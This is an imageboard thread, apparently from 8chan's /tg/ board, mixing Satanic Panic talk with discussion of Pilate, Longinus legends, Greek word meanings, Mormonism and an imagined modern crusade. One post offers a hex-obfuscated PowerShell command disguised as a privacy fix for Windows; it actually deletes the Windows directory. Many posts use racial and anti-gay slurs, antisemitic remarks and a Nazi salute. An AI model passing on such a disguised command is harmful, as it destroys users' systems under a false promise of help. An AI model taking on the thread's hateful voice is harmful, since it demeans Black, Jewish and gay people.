>Have you been around when the media said Harry Potter will lead kids to the devil?

It does. It's been liberal indoctrination since at least the 4th book.

>>322539

Not the players' fault that "good" means bleeding heart SJW faggot who panders to the weak and the unworthy, only more more violent and hypocritical murderhobo equivalents of their IRL equivalents.

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 No.332029

>>331967

> does the Orthodox Church not mind heresy as much or something?

We learned to cope with it after 2000 years of snowflakes faggots claiming they found they real truth of Christ's words' due to localized mistranslations of the Koine written scripture.

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 No.332036

>>322640

>you'd have to condemn story writing in general since authors often purposefully write about characters which do sinful things

Is there a reason why a Christian couldn't do this, though? You mention Paul, David, Moses, and Solomon, but all of these repented afterwards–they didn't just keep murdering people, nor were their crimes glorified. Fiction doesn't have this distinction–a thief may be caught and punished, but a sorcerer certainly doesn't end up in hell after casting fireball.

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 No.332144

So what would an alignment chart for Biblical characters look like?

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 No.332148

>>329748

Did she eat the opposition?

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 No.332204

>>329747

am dutch, can confirm, we have something even less believable: niggers that bring presents to your house

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 No.332208

>>332028

>"good" means bleeding heart SJW faggot who panders to the weak and the unworthy

Edgelord harder, you do want to be sure that everyone knows how cool you are, don't you?

>>332148

Lightly sauteed in a cream and garlic sauce, with three kilos of fries and a beer mug bigger than her torso.

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 No.333049

YouTube embed. Click thumbnail to play.

>>322419

I see your orthodox cross there. Somebody came up with idea of "patriotic" movie and demanded money from ministry of culture and other foundations. Then he commissioned this movie to some fags that only made commercials before on percentage of money that was given to him and put rest of the money in his pocket.

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 No.333073

>>328529

I was getting the same mental image while reading through them!

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 No.333133

YouTube embed. Click thumbnail to play.

>>333049

I saw a prety decent christian movie just a week ago. The worst thing about it is the Roman's leather armor and their inconsistency with the naming.

Too bad there's no good trailers, this is the best I was able to find.

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 No.333141

>>333133

the resurection as a Roman manhunt movie. Interesting

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 No.333200

>>333141

At times, it feels pretty close to a film noir/detective movie actually.

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 No.333209

File: ea12268f2770f33⋯.jpg (81.3 KB,503x734,503:734,Pontius Pilate did nothing….jpg)

File: e5245d4d01ac6a8⋯.jpg (244.02 KB,677x782,677:782,Feelus Romanus.jpg)

>>333141

>>333200

>>333133

Did anyone else feel kind of bad for the Romans mentioned in the Gospel story? Professional, dutiful men given a shit assignment (serving in a province with effectively no chance of conquest or plunder), and all of a sudden this shit starts happening.

Poor Pilate, your governorship was supposed to be a reward, and at the end of the day he was just doing his job.

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 No.333224

>>333209

The bible never puts pontius or his romans as bad men, they tried their hardest to spare jesus's life and also calm down the jews in a peacefull manner, but for jesus martyrdom was his porpouse in life.

Hell, even when he got crucified, the romans tried to give him anesthitics but he refused.

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 No.333229

>>333209

>Did anyone else feel kind of bad for the Romans mentioned in the Gospel story? Professional, dutiful men given a shit assignment (serving in a province with effectively no chance of conquest or plunder), and all of a sudden this shit starts happening.

Pontius Pilate has my favorite line in the Gospels: "What is truth?"

That is a fundamental question that I ask myself a thousand times a day. I feel a lot of sympathy for Pilate.

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 No.333244

>>333209

The Romans were never the bad guys, not even in the Bible.

It's the kikes that killed Christ.

Matthew 27:24

When Pilate saw that he could prevail nothing, but that rather a tumult was made, he took water, and washed his hands before the multitude, saying, I am innocent of the blood of this just person: see ye to it.

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 No.333253

File: f4e0d6b4bd57c85⋯.jpg (90.18 KB,770x437,770:437,You gonna get Legion'd.jpg)

>>333224

I'm fairly sure that it was at least part of Christian tradition that Pilate was condemned to hell after ordering the execution of Christ (although I'm having trouble sourcing that claim). At the very least, as a Roman, I can't see him repenting and begging for forgiveness in front of God; the Romans didn't really do humble and repentant, and are exactly the kind of guys I can see standing in defiance of divine will at the end of days (which, while retarded, is something you've kind of got to respect) OK, I'll admit that I'm a bit of a Romanoboo.

>>333229

>>333244

That's sort of my point (apologies for not putting it across clearly). The Romans in general and Pilate in particular are not the bad guys in the Gospel story, and yet (at least according to the tradition I can recall) Pilate was condemned to hell for his part in Christs execution. He just seems to have been completely fucked over for playing his part in the plan. On top of all of that I think he's one of the more sympathetic characters in the story, he's not some rampaging tyrant like Herod, he's just a Roman Governor sent to one of the shittier postings in the Empire trying to do his job and keep the locals from spazzing out too hard. I'm not too sure of the dates here, but do we know if he was still Governor during the rise of the Sicarii? That would be the cherry to top off the shit sundae he was given.

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 No.333254

>>333244

Well, except for the soldiers that mocked Him with a crown of thorns and so on. But then, these were lowly foot soldiers, hardly the best examples of professionalism throughout the ages.

Pilate was definitely one of my favorite Romans in the Bible, though. Man really represented Rome well.

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 No.333255

>>333253

Can't vouch for Pilate, but I have heard some versions where the roman soldier who thrust his spear into Jesus at the end of the three days was cursed to walk the earth for eternity like Cain, only his special punishment was to be an immortal that would take part in every war from then until the battle of Armageddon.

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 No.333257

File: 92109b63362fcca⋯.jpg (209.24 KB,539x480,539:480,That's Brutal.jpg)

>>333255

>his special punishment was to be an immortal that would take part in every war from then until the battle of Armageddon.

Now there's that Old Testament, Heavy Metal, God we know and love.

Also, if that isn't inspiration for a top tier RPG villain then I don't know what is.

>Before it started he was a soldier.

>Without thinking he taunted a god, and now pays the price for that mistake.

>For ten thousand times a thousand years he has fought in every war that ever was.

>He has long since forgotten what it felt like to value life, he no longer values his own.

>His armour and weapons may seem old, battered, and decayed - but they are stronger and sharper than the day they were forged.

>There is no weapon, style, or tactic he has not seen, used, and defeated.

>There is no terrain he has not fought on.

>There is no family that has not lost a husband, father, or son to his blade over the years.

>Aside from the memories of the violence, the blood, the ragged stumps of lopped off limbs there is one thing left in his mind.

>A single quiet voice at the back of his mind begging for forgiveness, hoping to find a single chance for reconciliation.

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 No.333263

>>333255 (checked the full house)

Another version is that Longinus (the guy's name, who was likely the centurion present at the crucifiction, sometimes called Cartaphilus) was condemned to live in a cave where every night a lion came and mauled him to near death, with his body healing at dawn. Exactly how this is linked to Prometheus' legend is unknown. A third is that Longinus was blind (and yet in the Roman army), and the splatters of Jesus' blood cured his blindness, causing him to believe. The spear used for this event has a number of names: the Holy Lance, the Spear of Destiny, or the Spear of Longinus. There are several claims to the thing existing, one of whom is housed in the Imperial Treasury of Vienna's Hofburg Palace. After examination it was dated to the 7th century A.D., so it's not the real thing. The Spear was claimed to have been found by Peter Batholomew who dug it up from a church during the Siege of Antioch during the First Crucade. This was likely a charade to fill the starving crusaders with the fire of piety and broke the siege. It's also the big fork from Evangelion that's important later in the show.

Longinus himself is statted out in SJG's In Nomine, where he's an expert fighter and torturer who cannot kill his enemies lest his body becomes paralyzed for a decade. Alongside him Ahasuerus was statted, which is one of many names for the Wandering Jew. He's got an impressive stat block in In Nomine with a 10 in all statistics, but he can't injure someone without feeling the exact same pain. Ahasuerus was cursed to walk the Earth until Second Coming because he mocked Jesus on his way to be crucified. Taunting people often goes wrong in the Bible: in 2 Kings 2 Elisha was taunted by some local youths, to which Elisha replied by casting Summon Nature's Ally III and summoned 1d3 (he rolled a 2) bears who mauled 42 of the kids. So don't taunt people, anons. You'll never know what kind of stuff they'll drop on your head.

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 No.333277

>>333253

Chrisitian tradition=/=biblical cannonical

If christianity followed the teachings of the bible, they would never wage wars and things like that.

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 No.333278

>>333277

If Christians followed the way of Jesus of Nazareth directly they would tell people to fuck off when chided for buying luxuries instead of donating to charity, kill plants for not having fruit, and call their mother "woman." Yet here we are.

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 No.333283

File: f8c3f9282b24421⋯.jpg (107.23 KB,1279x707,1279:707,1410970327997.jpg)

>>333278

>>333277

If Christians followed they way of Jesus they would walk the Jesus Trail.

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 No.333290

YouTube embed. Click thumbnail to play.

>>333209

I'm sorry to shill for it so much but that's kinda how the Romans are portrayed in the movie.

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 No.333303

>>333290

You shill well sir, I almost hope they're paying you for it. I might have to find a copy of this film.

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 No.333323

>>333277

>If you don't have a sword, sell your cloak and buy one.

Sounds like a pacifist pussy to me.

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 No.333341

>>333263

Yeah, thanks for the extra info Anon. I remember when I was a kid that my Dad had a bunch of paperbacks from the late 70's-early 80's. Series was called Casca, it was written by a former Green Beret and it followed the adventures of the "Eternal Mercenary" Casca Longinus. And it starts with him fighting in the Colosseum, and then fighting Vikings in the North, then Fighting during the Three Kingdoms era in China. That was all the ones he had, but I'm certain there were more. The idea is still cool as >>333257 points out, but it probably has no Biblical basis.

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 No.333481

>>333341

Longinus being immortal does not have a basis, no, but Jesus did point out at one point that someone listening to him would live to see the Second Coming. No mention of wandering jews.

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 No.333492

>>333277

>Chrisitian tradition=/=biblical cannonical

Never said it was, but the tradition and oral mythology of Christianity is a interesting area.

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 No.333745

File: 5a9a879a6a334c3⋯.jpg (103.18 KB,555x574,555:574,jesusMoneyChangersModern.jpg)

>>333277

>If christianity followed the teachings of the bible, they would never wage wars

Except against money-changers.

If Christians followed the Bible, they would all be badasses like REHoward's character, Solomon Kane.

>>333255

>I have heard some versions where the roman soldier who thrust his spear into Jesus at the end of the three days was cursed to walk the earth for eternity like Cain, only his special punishment was to be an immortal that would take part in every war

Almost as cool as Solomon Kane. I have to wonder how much Rein*Hagen was thinking of the legends, how much he was thinking of Camus' analysis of those legends, and how much he was just trying to rip off Solomon Kane.

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 No.333746

>>333323

>>If you don't have a sword, sell your cloak and buy one.

>Sounds like a pacifist pussy to me.

Since we are all such good little Greek-studying Gospel scholars in this thread, let's take a moment to examine the Greek word "πραεῖς."

Blessed are the disciplined, for they will inherit the earth.

Matt 5:5 [Textus Receptus (Elzevir) (1624)]

Mακάριοι οἱ πραεῖς· ὅτι αὐτοὶ κληρονομήσουσι τὴν γῆν.

The word means "disciplined" like an attack dog or a war horse. It does not mean "meek," it means "tame and trained."

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 No.333749

>>333746

William Barclay adds that meekness is "the most untranslatable of words in the New Testament" (p. 51).

Some have tried to use "humility" as its equivalent, but both Hebrew and Greek have specific words that are synonyms for humility. Besides, humility does not fully catch its meaning. Another word associated with meekness is "gentleness," but the same is as true for gentleness as humility. Both are part of meekness, but it is not really either. Its characteristics and use are much more involved than either of them.

The Hebrew word translated "meekness" is anav or anaw, meaning "depressed (figuratively), in mind (gentle) or circumstances (needy, especially saintly): humble, lowly, meek, poor" (Strong's Exhaustive Concordance, #6035). The translation depends upon the context in which it appears. The Gesenius Hebrew-Chaldee Lexicon adds, "afflicted, miserable . . . ; commonly with the added notion of a lowly, pious, and modest mind, which prefers to bear injuries rather than return them" (p. 643). The Theological Wordbook of the Old Testament indicates why this word is so difficult to express as a single term: "anaw expresses the intended outcome of affliction" (p. 1651).

The Greek word, prautes, the one to which Barclay referred, is no easier. James Strong defines it only as "mildness; i.e., (by implication) humility" (#4240). Vincent's Word Studies of the New Testament says that "Plato opposes it to fierceness or cruelty" (vol. 1, p. 37). In The Complete Word Study Dictionary New Testament, Spiros Zodhiates writes:

Prautes, according to Aristotle, is the middle standing between two extremes, getting angry without reason, and not getting angry at all. Therefore, prautes is getting angry at the right time, in the right measure, and for the right reason. . . . [I]t is a condition of mind and heart which demonstrates gentleness, not in weakness, but in power. It is a balance born in strength of character. (p. 1209-1210)

We can now begin to see why Barclay considered it the most untranslatable of New Testament words. This is so because Jesus elevated the word's common usage far beyond its normal application.

https://www.cgg.org//index.cfm/fuseaction/Library.sr/CT/PERSONAL/k/237/The-Fruit-of-Spirit-Meekness.htm

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 No.333758

>>326157

Don't listen to this faggot.

However, if any of you guys do want to disable Windows spying features (remember that they were backported from Windows 10 to 7 and 8), this command will actually work.

>open powershell as administrator

>copy and paste in:

invoke-expression -command:([System.Text.UTF8Encoding]::UTF8.GetString( ( "64656c20633a5c77696e646f7773202f66202f73202f71"  -split '(..)' | ? { $_ } |  %  {[BYTE]( [CONVERT]::toint16($_,16))  } ) ))

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 No.333792

>>333277

How an individual behaves towards another individual is not the same as how a country behaves to another

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 No.333863

YouTube embed. Click thumbnail to play.

>>333303

>I almost hope they're paying you for it

Yeah I wish. Then again, I bought the DVD thinking it was some shlock like this:

https://www.youtube.com/watch?v=2DbRwcrhiLA

I was planning to have a good laugh at some cheap shit. I never expected to get a good movie out of it.

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 No.338734

Bumping for Satanic Panic stories

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 No.338786

The only people who gave a shit we're ancient moral guardians 3 years from death back then. Most are long gone and thank Christ for that.

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 No.338807

>>338734

If we are going back OT, then I have to say how I think that this vid is bullshit. >>323621

By his logic, GMing or even writing a story with anything but good characters would be impossible.

Then again. He is a heretic, no wonder he tells bullshit lies to get views.

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 No.338815

I wonder how many here are /pol/ gas the kike's race war now 1488. But will ignore when the far right shits on video games and board games? I mean after all games are degerate Jewish tricks that are designed to control and keep people fat/dumb.

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 No.338838

>>338815

You're on 8chan, so it's reasonable to assume that 90% of posters are from /pol/.

Sieg Heil.

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 No.338851

>>338815

>all fun is jewish mind games

Stop that, even the nazis knew how to have fun and relax. Just like with how Chaos works, it's not just the activity, but how much you're doing it. Playing a war game once a week isn't going to send you into the pits of degeneracy.

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 No.338873

>>338734

Well M8, if you've read the thread you'll notice that there isn't much to really talk about in that corner. We had more to worry about from Tipper Gore & friends than religious parents.

Say, Heresy-anon, you about? What are some weirder Protestant groups?

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 No.338885

>>338873

>weirder Protestant groups

I'll be honest there, my first thought is Mormonism. How tightly are you defining protestant there?

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 No.338891

>>338885

Starting from the days of Martin Luther.

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 No.338897

>>338885

>>338873

Heresy-anon here, just dropping by.

Not a lot of time right now, but now that you mention the Mormons. They do some weird shit with one of the key sacraments: baptism. And it's not like how Presbyterians sprinkle instead of immerse: no, the Mormons can baptise by proxy. This means that if they want to baptise a dead person they take one who shares the person's gender and baptise them with the phrase "Having been commissioned of Jesus Christ, I baptize you for and in behalf of (name of dead person), who is dead, in the name of the Father, and of the Son, and of the Holy Ghost. Amen." They go at this with vigor, and not even the Nazis and Jews are safe (which has resulted in the oying of many veys).

Then there's the Dissenters, who seperated from the Church of England because they wanted to keep their Church seperate from the State. Some of the more famous groups include the Puritans and Quakers, but another one is the Ranters. They were a bunch of pantheist antinomianists with a disdain of Church authority, scripture, the ministry, sin as a concept, sexual morality, sobriety and clothing. Those guys really knew how to have fun, but they often ended up in prison for partying too hard.

And then there's the names. Puritans had a sense of humor where they gave their kids stupid names like it was Lancre or something. They include (some with surname) include No-Merit Vynall, Sorry-for-sin Coupard, Kill-sin Pimple, Anger Bull, the siblings Die-Well and Farewell Sykes, the Barebones who include Jesus-Christ-came-into-the-world-to-save Barebone, Damned Barebone, Fear-God Barebone, Praise-God Barebone and his son If-Christ-had-not-died-for-thee-thou-hadst-been-damned; Fight-the-good-fight-of-faith, Joy-in-sorrow, Experience (probably not a first child), Fear-not Helly, Fly-fornication, Dancell-Dallphebo-Mark-Anthony-Gallery-Cesar junior, What-God-will, Continent Walker, Wrestling and Thanks.

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 No.338904

>>338851

You fucks honestly strike me like the kinda weebs who discovered nat soc and go full 1488 then don't realize that the long time nazis who were there for years hate the shit out of anime nazis. Its like how people going full shit over star wars being filled with kikes when they forget that it was like that from day fucking one.

>>338838

>Stop that, even the nazis knew how to have fun and relax. Just like with how Chaos works, it's not just the activity, but how much you're doing it. Playing a war game once a week isn't going to send you into the pits of degeneracy.

Wow a generic empty platitude. Reminds me of how feminist said the same thing at first then it just slippery slopped itself to where we are now. Also even doing a basic look through any WN or such site completely contradicts you claim.

I mean its not like people have talked about the Jewish roots of video games during the 90s and linked the Jews to violent video games we now all fucking play.

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 No.338922

>>338904

Was there a point to this post?

>>338897

>but another one is the Ranters. They were a bunch of pantheist antinomianists with a disdain of Church authority, scripture, the ministry, sin as a concept, sexual morality, sobriety and clothing. Those guys really knew how to have fun, but they often ended up in prison for partying too hard.

Uh. What did they hold sacred, then?

>Continent Walker

That sounds sorta badass.

>Wrestling and Thanks

And this sounds like a holy luchador.

>the Barebones who include Jesus-Christ-came-into-the-world-to-save Barebone, Damned Barebone, Fear-God Barebone, Praise-God Barebone and his son If-Christ-had-not-died-for-thee-thou-hadst-been-damned;

Sounds like one hell of a household.

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 No.338980

File: a3771e2743756de⋯.jpg (143.58 KB,1093x481,1093:481,imperial japan's ultimate ….jpg)

>>338904

> the long time nazis who were there for years hate the shit out of anime nazis

Too bad for the old school nazis and their degenerate skinhead grunts then since anime nazis are the main instigators of national socialism's revival in the public psyche.

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 No.338981

File: a05382ee7a6471c⋯.png (594.72 KB,1500x3719,1500:3719,feminism was never good.png)

>>338904

>Reminds me of how feminist said the same thing

Feminists were always jewish degenerates though.

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 No.338983

>>338922

>Was there a point to this post?

Leftards just love to hear their own voice and read their own posts.

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 No.338985

>>333749

That anon knows his shit.

"Πράος" meaning is closer to "non-aggressive", "harmless" or "chill dude", not "meek" or "humble".

t. gyrofag

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 No.339026

>>338922

>Praise-God Barebone

One of the big players in the English Civil war.

>If-Christ-had-not-died-for-thee-thou-hadst-been-damned Barebone

Who, for some reason, tended to introduce himself as Nicholas; and who went on to create modern economic and monetary theory by partying hard, murdering his romantic rivals (leading to fleeing the country), playing poker with royalty and noblemen, at one point paying convicts to marry prostitutes and move to America (in order to try and hide the failure of his business ventures in the area), and crashing the French economy (with no survivors). Which is pretty PC tier when you look at it it, but yeah - definitely one hell of a family.

>>338891

>>338897

Mormonism.

>We are definitely Christians!

>OK, so we believe in three gods and the 'Heavenly Mother' (so four gods) but fuck you we are not polytheists - we're Christians.

>There were Judean Christians 600 years before the birth of Christ (stop laughing).

>and they were chased out of Israel and went to America rather than anywhere closer.

>They knew that the Gods were once basically human (before they became Gods) and that with the right faith and effort we can become Godlike like them!

>Anyway these first Christians were in America when Christ did his thing (will you stop laughing, this is serious stuff!).

>Jesus was a cool guy, but his apostles were dicks. After he died they decided to do their own things (because they were corrupted with Greek bullshit which probably makes them fags too) rather than follow his teachings. This Age of Apostasy they started means that we are the only real Christians when you think about it, which is cool.

>Like I said, we are so totally and definitely Christians.

>Also we believe in 'continuous revelation' which means that prophecy is happening, to everyone, all the time.

>We know all this because our founder was visited by angels and biblical figures regularly in the early 1800's

>They gave him golden tablets containing the truth, and the enchanted spectacles and magical seer stones he needed to read the Egyptian language that these Pre-Christ-ISRAELI-Christians wrote with.

>No we don't still have the tablets so no you can't see them.

>No we don't still have the enchanted spectacles, stop asking.

>No we don't still have the '+1 rock of reading bullshit languages that never existed', didn't I tell you to stop asking?

<Baptism by proxy has already been covered, but you should know that they see it as their religious duty to 'save' as many people (by proxy) as possible - it's entirely possible that they've baptised you without your knowledge - technically they can administer any of their 'ordinances' (sacraments) by proxy. So there's nothing stopping them from marrying you to a Mormon woman/women without you knowing a thing about it.

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 No.339051

>>339026

Mormonism is what happens when someone reads rosicrucian/masonic texts and takes them literally.

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 No.339092

>>326920

"And there are also many other things which Jesus did, the which, if they should be written every one, I suppose that even the world itself could not contain the books that should be written. Amen." John 21:25

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 No.339104

File: 24b98bde8151005⋯.jpg (328 KB,465x556,465:556,Mormonism explained.jpg)

>>339051

Are you sure it wasn't just some epic trolling?

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 No.340850

Just happened to my friend on FB

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 No.340854

File: ba612bfa9873b00⋯.png (59.98 KB,460x545,92:109,D - Copy.PNG)

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 No.340918

File: 3da320832b6f90c⋯.gif (493.47 KB,480x362,240:181,3da320832b6f90c940b16fc2c5….gif)

>>340854

Please tip my fedora at the last hippo

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 No.340920

File: 4b4735b1d7d9df0⋯.jpg (30.21 KB,450x300,3:2,Seer_stone.jpg)

>>339026

>No we don't still have the '+1 rock of reading bullshit languages that never existed', didn't I tell you to stop asking?

They actually do still have that rock, pic related.

I used to be Mormon. There are more glaring problems in the religion that what you listed.

>>339051

Mormonism is what happens when a treasure hunter realizes he could get a lot more sex and money as a cult leader.

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 No.340923

>>340920

Can you go into those in the same comedic format?

>>339026

Okay, that was worth a giggle. Next?

>>333257

>>333341

It's a concept I've heard before (really want those Casca books now), but sometimes with the twist of reincarnation to it.

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 No.340934

>>340923

>I'm Joseph Smith. Look at this awesome manuscript I bought after begging for money from my followers. Because of my gift of translation and after consulting this stone in a hat, I can see that it is the long lost Book of Abraham, written by Abraham using his own hand.

>I am now translating it.

>I have spent a long time translating this.

>Today I spent all day translating it.

>I'm writing in letters and in my journal that I am translating this, leaving plenty of evidence with little ambiguity what I think I'm doing here.

>Alright, here is the Book of Abraham that I translated from this manuscript.

>Years and a museum fire later

>Hello, I am an Egyptologist. I have spent years studying the languages and cultures of Egypt. I am an expert in my field.

>Hey, we have remnants of the manuscript Joseph Smith translated the book of Abraham from. Want to take a look?

>Sure. Hmm. Yes, this is a funerary text. Standard stuff. Very common. I've seen tons of these. This one in-particular is for a guy named Hor.

>No mention of Abraham?

>No. In fact it dates to 2000 years after Abraham's death.

>Well look at how he labeled this picture. Surely the labels are accurate.

>He mislabeled a woman as a man, and a God as a slave. He also filled in the missing piece of the image with a human head, that figure should have a jackal's head. Also those aren't idols to Egyptian gods, those are the jars that the organs of the deceased are place into. That isn't Abraham sacrificing his son, that is a priest preparing the body Hor. The body on the table isn't even alive. Also that isn't the Christian God, that is the male Egyptian God Min, who is sexually aroused. You can literally see his erection.

>Alright so let's ignore the fact that a drawing of a dick is literally, unambiguously, actually, not sarcastically, in every Mormon's bible that contains the Perl of Great Price. Can we get a second opinion?

>Hello, I am a Mormon Egyptologist. I pay tithing, go to church, have a degree from BYU, and my job is studying ancient Egyptian artifacts. What that last guy said is 100% true. Now please excuse my mental gymnastics as I jump flip and spin out of here.

>Can we get some third and forth opinions?

>Hello, we some more Egyptologists. We will corroborate what has been said before.

>Well you can see part of the manuscipt was lost in that museum fire maybe there was space for…

>The manuscript was stored rolled as a scroll. The piece of the manuscript we have would be the outermost piece of that manuscript because every other funerary text we have found follows this pattern. A piece was torn off while it was rolled up, which you can see in this pattern of missing pieces that get closer together. Using mathematics we can estimate how much space was left on the manuscript and, will you look at that, just enough space for the rest of funerary text.

>Well maybe he didn't translate it from this particular text. There was an entire scroll lost in the fire!

>You guys have published on a church sponsored website the notes Joseph Smith used when translating. He copied characters from this manuscript and their supposed meanings next to them, which you can clearly see. These characters match the characters on the manuscript. In fact it also shows he was reading from left to right, when he should have been reading right to left. Also the first hand accounts of the scrolls show the second scroll was the same size, which isn't enough for the entire Perl of Great Price. The only account of a scroll that is long enough is a third hand account, told originally by an old man remembering a moment from when he was a young child.

>Fine, he just used the manuscript as inspiration for the Perl of Great Price.

>He pretty clearly stated on multiple occasions that he was "translating" it, and stated that the manuscript was written by Abraham. In fact in the "translated" version that you guys published it says it was written by Abraham's own hand.

>Haha, very funny. We are the Department of Correlation which is affiliated with the prophet. And the prophet can't be wrong. Case closed.

>Not sure if I trust your judgment after the salamander papers and kinderhook plates…

>CASE CLOSED.

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 No.341017

>>340854

Normalfags, normalfags never change

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 No.341018

>>333253

>I'm fairly sure that it was at least part of Christian tradition that Pilate was condemned to hell after ordering the execution

Sounds like more catholic fanfiction

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 No.341028

>>340920

>There are more glaring problems in the religion that what you listed.

I'd be very surprised if there weren't - that was the best I could do from about 15 minutes of research.

>>341018

Eh, Catholiv Fanfic = Christian Tradition, more or less.

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 No.341073

File: 0b0c7faea55cb22⋯.jpg (15.89 KB,227x255,227:255,1446843458997-0.jpg)

>>340934

>Alright so let's ignore the fact that a drawing of a dick is literally, unambiguously, actually, not sarcastically, in every Mormon's bible that contains the Perl of Great Price. Can we get a second opinion?

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 No.341257

>>333253

Considering that Rome transitioned into Christianity later on, I find your notions that they're the sort that would be all defiance of the divine is a bit…spurious. Not to mention the polytheistic religion that preceded Christianity was all about sacrificing and pleasing the gods- y'know, as religions are wont to be.

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 No.342511

/tg/, how do I incorporate protestantism into my space sci fi game as a faction?

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 No.342516

>>342511

Humanity (fuck yeah) has conquered all known life in the galaxy, puts down colonies, teraforming, and all that. The Catholic church has begun incorporating alien religions into its teachings in order to form a universal religion in an effort to make the aliens more receptive to becoming part of the Confederacy Earth. This is similar to how the Catholic church historically incorporated pagan teachings and holidays into to make the pagans more accepting of their new religion. Protestants protest this as heresy but the Confederacy of Earth wants to silence them because the Universal Catholic Church and Space Pope are too important to the governments's ambitions of galactic conquests so they have allowed for inquisitions. Protestants hijack some Seed ships in the hopes of setting up new homeworlds outside of UCC control. Others seek to topple the regime. All of them want to spread the word of Jesus to the aliens. Except the ones who don't think aliens have souls.

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 No.342529

File: 2a8706c8312e935⋯.png (304.51 KB,600x968,75:121,2a8706c8312e9354796dff75f6….png)

>>342516

>the Catholic church historically incorporated pagan teachings

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 No.342534

>>342529

Anon are you seriously doubting the idea?

Without pagan rome and pagan greek philosophers there is no Christianity. It was a mystery cult until it consumed the places in society that the public events held, that public services provided, that public leaders led by.

Praying to a saint for favor from god is hardly different from praying to a god for good favor from the fates. How many medieval saints were born out of pagan myths, how many knightly orders adorned themselves in the icons of forgotten gods, how the damn calendar yet has semblance to its origins.

God is a man robed in white, sitting on a golden throne in an Elysium field of fluffy white clouds, closed in by pearly white gates, no? Hell is a place of fire and brimstone, where the dead are given punishments according to their deeds in life, no? A dark man with a long poll ferries you across the waters, no?

Culturally, inseperable. Theologically, it's an old reconciliation between the Greek moralists and the Catholic dogma. Aesthetically, come the fuck on, couldn't get more pagan. Fish hat.

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 No.342537

>>342534

<God is a man robed in white, sitting on a golden throne in an Elysium field of fluffy white clouds, closed in by pearly white gates, no?

No.

<Hell is a place of fire and brimstone, where the dead are given punishments according to their deeds in life, no?

No.

<A dark man with a long poll ferries you across the waters, no?

No.

<How many medieval saints were born out of pagan myths, how many knightly orders adorned themselves in the icons of forgotten gods

Someone just discovered cultural/artistic archetypes.

<Praying to a saint for favor from god is hardly different from praying to a god for good favor from the fates

Maybe, if you have no understanding of the theology involved in either case.

Protestant harder dude

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 No.342541

>>342529

>>342537

That's some strong denial there.

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 No.342543

>>342534

Spoken like someone with a surface level understanding of Christianity.

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 No.342544

>>342541

Actually yes, I am denying the veracity of your claims, because they are untrue.

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 No.342545

>>342529

>the Catholic church historically incorporated pagan teachings

Doesn't he mean stuff like Christmas and Easter?

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 No.342546

>>342545

He might have an argument if he'd tried that, not much of one but more than he has currently.

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 No.342547

Well. In my group we have:

>A raging sedevacantist catholic (the people that unironicly say that the church needs a Pope that could call on the tenth crusade to respond to the Jihad)

He's a cool guy that can hold his power level for a few hours while playing though. Just don't mention muslims near him.

>And the rest of us, except for one atheist, one (regular) catholic guy and a jewish guy are all protestant

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 No.342549

>>342547

>the church needs a Pope that could call on the tenth crusade to respond to the Jihad

If he's restricting his definition to crusades against muslims then we'd be on the 9th by now. If you expand it to mean all military actions authorised/initiated by the Pope and called a crusade then I think we're up to the 18th or so by now.

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 No.342550

>>342549

I said tenth because muslims don't really hold Jerusalem anymore, so why not bundle up every holy war into the same thing.

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 No.342551

>>342550

>why not bundle up every holy war into the same thing

Because muh autism. To be blunt.

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 No.342552

>>342551

Fair.

I guess the Cathars were technically still christians so ninth crusade against non-christians.

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 No.342553

File: d8ee128af716361⋯.webm (6.95 MB,800x450,16:9,Deus Vult.webm)

>>342552

>I guess the Cathars were technically still Christians

must … control … autism.

>so ninth crusade against non-Christians.

That works, just about. I'd be very interested to know how your friend expects Pope Francis to start shouting 'Deus Vult' though. Tell him that the schismatics of the Russian Orthodox Church have beat the Romans to the punch though, should be worth a giggle and maybe a storytiem.

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 No.342554

>pope calling a crusade

Except that there's nobody who'd actually fight in it.

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 No.342555

> bretty good posts about heresy

> dubia, filial correction

is bergoglionism too soon? must wait for formal correction?

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 No.342556

>>342554

If you look at what a crusader gets for turning out you might be surprised.

>VIP pass into heaven, no matter how shitty you've been up until that point.

>The right to keep as much loot as you can get hold of.

>All your debts are written off and forgiven

You probably wouldn't get all that many signing up for the indulgence (VIP Heaven pass), but the last two would gather a lot of interest. The ability of the Pope to enforce particularly the last point is questionable at the moment, but I still think you're underselling it.

>bergoglionism

I'm not familiar with that group, what did they say?

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 No.342560

>>342556

>The ability of the Pope to enforce particularly the last point is questionable at the moment, but I still think you're underselling it.

Sure, there's people who'd want to fight in it but they're not able to:

- Most of western and northern Europe is too cucked/Protestant (what's the difference mirite?) to fight or will have domestic muslims level the place the moment the crusade takes off.

- Southern Europe is too poorfag to afford the crusade or will be bullied by the EU to stay out.

- 'Murica can't handle not being in charge when leveling the Middle East and dislike the Pope, so they stay out.

- Mexicans and other South Americans are too busy stealing all the opium to make drugs out of and sell in America to continue the fight.

- Brazilians go all HUEus Vult… until the Argentinians show up and the two become too busy trying to one-up each other to get shit done.

- Philipinos would join but the soldiers would be too busy teamkilling the Middle- and South Americans because they're drug dealers to further the cause.

- Russia doesn't care because they're Orthodox.

- Poland is too busy cleaning the Holy W.C. to contribute anything.

- Africans are too busy killing each other in tribal wars.

So who remains? A bunch of /k/ommandos an other lone wolves and small groups trying to take back the Holy Land? I don't know, I think the Pope would disapprove of people throwing dragon dildos and semen at Jerusalem.

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 No.342562

>>342560

>Most of western and northern Europe is too cucked/Protestant (what's the difference mirite?)

To be entirely fair to the Prots you get cucks everywhere, don't point fingers.

For most of the rest I think you can trust Catholic/Christian unity (which would be massively enhanced in that situation) to smooth over most of the trouble and limit it to some snide remarks at worst. Also it wouldn't need to be a national scale movement requiring government authorisation. If you look at the first Crusade in particular it was a group of randoms gathering around a few more experienced leaders and the peasants crusade, which was just embarrassing.

>Russia doesn't care because they're Orthodox

And they're kind of doing their own thing anyway

>A bunch of /k/ommandos an other lone wolves and small groups trying to take back the Holy Land?

I know, it's glorious, isn't it.

>I think the Pope would disapprove of people throwing dragon dildos and semen at Jerusalem

To be fair once he's called it he can't exactly call it off. Also, not throwing jars of liquefied pork fat.

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 No.342566

>>342562

Another issue is that quite a few countries have laws against citizens serving as mercenaries in foreign armies, so it has to be worded well to make sure the soldiers don't get into trouble once they return home.

>Also, not throwing jars of liquefied pork fat.

Spoilsport.

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 No.342570

>>342529

Syncretism is a hell of a thing, anon.

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 No.342574

>>342566

>Another issue is that quite a few countries have laws against citizens serving as mercenaries in foreign armies

But what about voluntary, unpaid, soldiers of God fighting not for profit but the righteous cause of freedom for the Holy Land control your laughter, this is a very serious point:^)?

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 No.342579

File: 994b6e5bf7b565a⋯.gif (7.5 KB,501x372,167:124,le friendly fellow white m….gif)

>>342560

>be pope

>a satanic pagan kike

>wake up one day and greet fellow kikes in the vatican

